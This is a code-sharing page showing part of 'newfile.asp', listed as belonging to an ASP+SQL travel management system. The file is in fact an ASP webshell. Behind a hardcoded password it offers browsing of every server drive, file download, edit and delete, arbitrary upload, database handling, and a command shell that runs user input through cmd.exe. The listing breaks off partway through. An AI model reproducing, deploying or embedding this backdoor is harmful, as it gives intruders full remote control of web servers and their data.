newfile.asp
来自「旅游管理系统 用ASP+SQL 2」· ASP 代码 · 共 791 行 · 第 1/2 页
ASP
791 行
<%
Server.ScriptTimeout=90000
Response.Buffer = True
On Error Resume Next
ApplicationName = "XiaomAo"
UserPass = "xiaomao"
ShowFileIco = True
IcoPath = "images/FileType/"
URL = Request.ServerVariables("URL")
ServerIP = Request.ServerVariables("LOCAL_ADDR")
BackUrl = Request.ServerVariables("HTTP_REFERER")
Action = Request("Action")
RootPath = Server.MapPath(".")
WWWRoot = Server.MapPath("/")
FolderPath = Request("FolderPath")
FName = Request("FName")
If Session("GXGL")<>UserPass Then
If Request.Form("LoginPass")<>"" Then
If Request.Form("LoginPass")=UserPass Then
Session("GXGL")=UserPass
Response.Redirect BackUrl
Else
response.write"验证未通过!"
End If
Else
Response.Write"<center><br><br>Welcome<br><br>"
Response.Write"<form action='"&URL&"' method='post' name='lform'>"
Response.Write"PasS:<input name='LoginPass' type='password' size='15'>"
Response.Write" <input type='submit' value='GO'></form></center>"
End If
Response.End
End If
sub ShowErr()
If Err Then
Response.Write"<br><a href='javascript:history.back()'><br> " & Err.Description & "</a><br>"
Err.Clear:Response.Flush
End If
end sub
Function RePath(S)
RePath=Replace(S,"\","\\")
End Function
Function RRePath(S)
RRePath=Replace(S,"\\","\")
End Function
If FolderPath<>"" then
Session("FolderPath")=RRePath(FolderPath)
End If
If Session("FolderPath")="" Then
FolderPath=RootPath
Session("FolderPath")=FolderPath
End if
Function IsIco(ia,ib,ta)
If ShowFileIco=true Then
IsIco = " <img src='"&IcoPath&ia&"'> "
If ib<>"" Then
IsIco = "<img src='"&IcoPath&ib&"'> "
End If
Else
IsIco = " <font face='wingdings' color='#006600' size='3'>"&ta&"</font> "
End If
End Function
Function MainForm()
SI="<form name=""hideform"" method=""post"" action="""&URL&""" target=""FileFrame"">"
SI=SI&"<input type=""hidden"" name=""Action"">"
SI=SI&"<input type=""hidden"" name=""FName"">"
SI=SI&"</form>"
SI=SI&"<table width='100%' height='100%' border='0' cellpadding='0' cellspacing='0' bgcolor='menu'>"
SI=SI&"<tr><td height='30' colspan='2'>"
SI=SI&"<table width='100%' height='25' border='0' cellpadding='0' cellspacing='0'>"
SI=SI&"<form name='addrform' method='post' action='"&URL&"' target='_parent'>"
SI=SI&"<tr><td width='60' align='center'>地址栏:</td><td>"
SI=SI&"<input type='text' name='FolderPath' style='width:100%' value='"&Session("FolderPath")&"'>"
SI=SI&"</td><td width='60' align='center'><input name='Submit' type='submit' value='转到'>"
SI=SI&"</td></tr></form></table></td></tr><tr><td width='160'>"
SI=SI&"<iframe name='Left' src='?Action=MainMenu' width='100%' height='100%' frameborder='2' scrolling='yes'></iframe></td>"
SI=SI&"<td>"
SI=SI&"<iframe name='FileFrame' src='?Action=ShowFile' width='100%' height='100%' frameborder='1' scrolling='yes'></iframe>"
SI=SI&"</td></tr></table>"
Response.Write SI
End Function
Function MainMenu()
SI="<table width='100%' border='0' cellspacing='0' cellpadding='0'>"
SI=SI&"<tr><td height='5'></td></tr>"
SI=SI&"<tr><td> "
SI=SI&IsIco("minus.gif","computer.gif","o")
SI=SI&"<a href='javascript:ShowFolder("""&RePath(WWWRoot)&""")'>"&ServerIP&"</a>"
SI=SI&"</td></tr>"
Set FSO=server.createobject("scripting.filesystemobject")
For Each D in FSO.Drives
SI=SI&"<tr><td> "
SI=SI&IsIco("plus.gif","driver.gif","v")
SI=SI&"<a href='javascript:ShowFolder("""&D.DriveLetter&":\\"")'>本地磁盘 ("&D.DriveLetter&":)</a>"
SI=SI&"</td></tr>"
Next
Set FSO=Nothing
Response.Write SI : SI=""
SI=SI&"<tr><td> "
SI=SI& IsIco("minus.gif","folder.gif","0")
SI=SI&"<a href='javascript:ShowFolder("""&RePath(RootPath)&""")'>返回根目录</a>"
SI=SI&"</td></tr>"
SI=SI&"<tr><td> "
SI=SI& IsIco("minus.gif","newfolder.gif","1")
SI=SI&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\NewFolder")&""",""NewFolder"")'>新建目录</a>"
SI=SI&"</td></tr>"
SI=SI&"<tr><td> "
SI=SI&IsIco("minus.gif","newfile.gif","2")
SI=SI&"<a href='?Action=EditFile' target='FileFrame'>新建文本</a>"
SI=SI&"</td></tr>"
SI=SI&"<tr><td> "
SI=SI&IsIco("minus.gif","main.gif","8")
SI=SI&"<a href='?Action=UpFile' target='FileFrame'>上传文件</a>"
SI=SI&"</td></tr>"
SI=SI&"<tr><td> "
SI=SI&IsIco("plus.gif","main.gif","o")
SI=SI&"数据库操作"
SI=SI&"</td></tr>"
SI=SI&"<tr><td> "
SI=SI&IsIco("minus.gif","newfile.gif","4")
SI=SI&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\New.mdb")&""",""CreateMdb"")'>建立MDB文件</a>"
SI=SI&"</td></tr>"
SI=SI&"<tr><td> "
SI=SI&IsIco("minus.gif","mdb.gif","4")
SI=SI&"<a href='?Action=DbManager' target='FileFrame'>数据库操作</a>"
SI=SI&"</td></tr>"
SI=SI&"<tr><td> "
SI=SI&IsIco("minus.gif","zip.gif","4")
SI=SI&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\data.mdb")&""",""CompactMdb"")'>压缩MDB文件</a>"
SI=SI&"</td></tr>"
SI=SI&"<tr><td> "
SI=SI&IsIco("minus.gif","cmd.gif","o")
SI=SI&"<a href='?Action=CmdShell' target='FileFrame'>命令行</a>"
SI=SI&"</td></tr>"
SI=SI&"<tr><td> "
SI=SI&IsIco("minus.gif","main.gif","f")
SI=SI&"<a href='?Action=Logout' target='_top'>退出登录</a>"
SI=SI&"</td></tr>"
SI=SI&"<tr><td> "
SI=SI&IsIco("minus.gif","htm.gif","f")
SI=SI&"</td></tr>"
SI=SI&"</table>"
Response.Write SI
End Function
Function FileIco(FName)
If ShowFileIco=true Then
TypeList = ".asp.asa.bat.bmp.com.doc.db.dll.exe.gif.htm.html.inc.ini.jpg.js.log.mdb.mid.mp3.png.php.rm.rar.swf.txt.wav.xls.xml.zip"
FileType = lcase(Mid(FName, InstrRev(FName,".")+1))
If Instr(TypeList,"."&FileType)>0 then
Ico = FileType&".gif"
Else
Ico = "default.gif"
End If
FileIco = "<img src='"&IcoPath&Ico&"' border='0'> "
Else
FileIco="<font face='wingdings' color='#006600' size='3'>2</font> "
End If
End Function
Function ShowFile(Path)
SET FSO=server.createobject("scripting.filesystemobject")
Set FOLD=FSO.GetFolder(Path)
i=0
SI="<table width='100%' border='0' cellspacing='0' cellpadding='0' bgcolor='#EFEFEF'><tr>"
For Each F in FOLD.subfolders
SI=SI&"<td>"
SI=SI&IsIco("","folder.gif","0")
SI=SI&" <a href='javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")'>"&F.Name&"</a>"
SI=SI&" | <a href='javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")' onclick='return yesok()' class='am' title='删除'>del</a>"
SI=SI&" <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")' onclick='return yesok()' class='am' title='复制'>copy</a>"
SI=SI&" <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")' onclick='return yesok()' class='am' title='移动'>move</a>"
i=i+1
If i mod 3 = 0 then SI=SI&"</tr><tr>"
Next
SI=SI&"</tr><tr><td height=5></td></tr></table>"
Response.Write SI : SI=""
For Each L in Fold.files
SI="<table width='100%' border='0' cellspacing='1' cellpadding='0'>"
SI=SI&"<tr onMouseOver=""this.className='tr'"" onMouseOut=""this.className=''"">"
SI=SI&"<td height='20'>"&FileIco(L.Name)
SI=SI&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"");' title='下载'>"&L.Name&"</a></td>"
SI=SI&"<td width='140'>"&L.Type&"</td>"
SI=SI&"<td width='50'>"&clng(L.size/1024)&"K</td>"
SI=SI&"<td width='120'>"&L.DateLastModified&"</td>"
SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")' class='am' title='编辑'>edit</a></td>"
SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")' onclick='return yesok()' class='am' title='删除'>del</a></td>"
SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""CopyFile"")' class='am' title='复制'>copy</a></td>"
SI=SI&"<td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""MoveFile"")' class='am' title='移动'>move</a></td>"
SI=SI&"</tr></table>"
Response.Write SI : SI=""
Next
Set FOLD=Nothing
Set FSO=Nothing
End Function
Function DownFile(Path)
Response.Clear
Set OSM = Server.CreateObject("ADODB.Stream")
OSM.Open
OSM.Type = 1
OSM.LoadFromFile Path
Response.AddHeader "Content-Disposition", "attachment; filename=" & Path
Response.Charset = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryWrite OSM.Read
Response.Flush
OSM.Close
Set OSM = Nothing
End Function
Function DelFile(Path)
Set FSO=Server.CreateObject("Scripting.FilesyStemobject")
If FSO.FileExists(Path) Then
FSO.DeleteFile Path
SI="<center><br><br><br>文件 "&Path&" 删除成功!</center>"
SI=SI&"<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
Response.Write SI
End If
Set FSO=Nothing
End Function
Function HTMLEncode(S)
if not isnull(S) then
S = replace(S, ">", ">")
S = replace(S, "<", "<")
S = replace(S, CHR(39), "'")
S = replace(S, CHR(34), """)
HTMLEncode = S
end if
End Function
Function EditFile(Path)
If Request("Action2")="Post" Then
Set FSO=Server.CreateObject("Scripting.FilesyStemobject")
Set T=FSO.CreateTextFile(Path)
T.WriteLine Request.form("content")
T.close
Set T=nothing
Set FSO=nothing
SI="<center><br><br><br>文件保存成功!</center>"
SI=SI&"<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
Response.Write SI
Response.End
End If
If Path<>"" Then
Set FSO=Server.CreateObject("Scripting.FilesyStemobject")
Set T=FSO.opentextfile(Path, 1, False)
Txt=HTMLEncode(T.readall)
T.close
Set T=Nothing
Set FSO=Nothing
Else
Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件"
End If
SI="<table width='100%' height='100%'><tr><td valign='top' align='center'>"
SI=SI&"<Form action='"&URL&"?Action2=Post' method='post' name='EditForm'>"
SI=SI&"<input name='Action' value='EditFile' Type='hidden'>"
SI=SI&"<input name='FName' value='"&Path&"' style='width:100%'><br>"
SI=SI&"<textarea name='Content' style='width:100%;height:450'>"&Txt&"</textarea><br>"
SI=SI&"<hr><input name='goback' type='button' value='返回' onclick='history.back();'> <input name='reset' type='reset' value='重置'> <input name='submit' type='submit' value='保存'></form>"
SI=SI&"</td></tr></table></body></html>"
Response.Write SI
End Function
Function CopyFile(Path)
Path = Split(Path,"||||")
Set FSO=Server.CreateObject("Scripting.FilesyStemobject")
If FSO.FileExists(Path(0)) and Path(1)<>"" Then
FSO.CopyFile Path(0),Path(1)
SI="<center><br><br><br>文件"&Path&"复制成功!</center>"
SI=SI&"<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
Response.Write SI
End If
Set FSO=Nothing
End Function
Function MoveFile(Path)
Path = Split(Path,"||||")
Set FSO=Server.CreateObject("Scripting.FilesyStemobject")
If FSO.FileExists(Path(0)) and Path(1)<>"" Then
FSO.MoveFile Path(0),Path(1)
SI="<center><br><br><br>文件"&Path&"移动成功!</center>"
SI=SI&"<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
Response.Write SI
End If
Set FSO=Nothing
End Function
Function DelFolder(Path)
Set FSO=Server.CreateObject("Scripting.FilesyStemobject")
If FSO.FolderExists(Path) Then
FSO.DeleteFolder Path
SI="<center><br><br><br>目录"&Path&"删除成功!</center>"
SI=SI&"<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
Response.Write SI
End If
Set FSO=Nothing
End Function
Function CopyFolder(Path)
Path = Split(Path,"||||")
Set FSO=Server.CreateObject("Scripting.FilesyStemobject")
If FSO.FolderExists(Path(0)) and Path(1)<>"" Then
FSO.CopyFolder Path(0),Path(1)
SI="<center><br><br><br>目录"&Path&"复制成功!</center>"
SI=SI&"<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
Response.Write SI
End If
Set FSO=Nothing
End Function
Function MoveFolder(Path)
Path = Split(Path,"||||")
Set FSO=Server.CreateObject("Scripting.FilesyStemobject")
If FSO.FolderExists(Path(0)) and Path(1)<>"" Then
FSO.MoveFolder Path(0),Path(1)
SI="<center><br><br><br>目录"&Path&"移动成功!</center>"
SI=SI&"<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
Response.Write SI
End If
Set FSO=Nothing
End Function
Function NewFolder(Path)
Set FSO=Server.CreateObject("Scripting.FilesyStemobject")
If Not FSO.FolderExists(Path) and Path<>"" Then
FSO.CreateFolder Path
SI="<center><br><br><br>目录"&Path&"新建成功!</center>"
SI=SI&"<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
Response.Write SI
End If
Set FSO=Nothing
End Function
Function UpFile()
If Request("Action2")="Post" Then
Set U=new UPC : Set F=U.UA("LocalFile")
UName=U.form("ToPath")
If UName="" Or F.FileSize=0 then
SI="<br>请输入上传的完全路径后选择一个文件上传!"
Else
F.SaveAs UName
If Err.number=0 Then
SI="<center><br><br><br>文件"&UName&"上传成功!</center>"
End if
End If
Set F=nothing:Set U=nothing
SI=SI&"<meta http-equiv='refresh' content='2;URL=?Action=ShowFile'>"
Response.Write SI
ShowErr()
Response.End
End If
SI="<br><br><br><table border='0' cellpadding='0' cellspacing='0' align='center'>"
SI=SI&"<form name='UpForm' method='post' action='"&URL&"?Action=UpFile&Action2=Post' enctype='multipart/form-data'>"
SI=SI&"<tr><td>"
SI=SI&"上传路径:<input name='ToPath' value='"&RRePath(Session("FolderPath")&"\newup.asp")&"' size='40'> "
SI=SI&"<input name='LocalFile' type='file' size='25'>"
SI=SI&"<input type='submit' name='Submit' value='上传'>"
SI=SI&"</td></tr></form></table>"
Response.Write SI
End Function
Function CmdShell()
If Request("cmd")<>"" Then
DefCmd = Request("cmd")
Else
DefCmd = "Dir "&Session("FolderPath")
End If
SI="<form method='post'><input type=text name='cmd' Style='width:95%;background-color:#000000;color:#FFFFFF' value='"&DefCmd&"'>"
SI=SI&"<input type='submit' value='执行'>"
SI=SI&"<textarea readonly Style='width:100%;height:520;background-color:#000000;color:#FFFFFF'>"
SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
SI=SI&Chr(13)&"Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1</textarea></form>"
Response.Write SI
End Function
Function CreateMdb(Path)
SI="<br><br>"
Set C = Server.CreateObject("ADOX.Catalog")
C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path)
Set C = Nothing
⌨️ 快捷键说明
复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?